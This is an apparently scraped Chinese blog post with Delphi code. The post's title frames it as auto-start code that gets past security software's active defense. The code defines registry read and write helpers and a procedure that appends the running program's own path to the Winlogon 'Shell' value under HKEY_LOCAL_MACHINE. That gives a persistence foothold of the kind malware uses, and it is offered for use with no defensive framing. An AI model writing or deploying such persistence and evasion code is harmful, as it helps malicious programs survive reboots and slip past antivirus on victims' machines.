zoukankan      html  css  js  c++  java
  • 过主动防御自启动代码delphi

    {注册表操作函数,SetClave设置键值,GetClave获得键值 Funciones de registro}
    function SetClave(key:Hkey; subkey,name,value:string):boolean;
    var
    regKey:hkey;
    begin
    result:=FALSE;
    RegCreateKey(key,PChar(subkey),regKey);
    if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then
        result:=TRUE;
    RegCloseKey(regKey);
    end;function GetClave(key:Hkey; subkey,nombre:String):String;
    var
    bytesread:dword;
    regKey: HKEY;
    valor:String;
    begin
    Result:='';
    RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);
    RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);
    SetLength(valor, bytesread);
    if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then
        result:=valor;
    RegCloseKey(regKey);
    end;{主要函数}
    procedure InicioShell;
    var
    ClaveOriginal: string;
    begin
    {获得当前键值 Guarda el valor actual}
    ClaveOriginal:=GetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');
    {检查是否应该写键 Comprueba que la ruta de nuestro ejecutable no se encuentra en ese valor}
    if ansipos(paramstr(0), claveoriginal)=0 then
    SetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(ClaveOriginal)+' "'+Paramstr(0)+'"');
    end;
  • 相关阅读:
    IDEA使用
    虚拟机笔记 -- 基础
    虚拟机异常 -- 汇总
    虚拟机笔记 -- 设置静态IP
    虚拟机异常 -- 主机无法ping通虚拟机
    虚拟机笔记 -- 安装配置
    Git-分支命名规范
    SourceTree-Access denied问题解决
    Git初始化基本操作
    SpringBoot2 配置prometheus浏览器访问404
  • 原文地址:https://www.cnblogs.com/jxgxy/p/2375190.html
Copyright © 2011-2022 走看看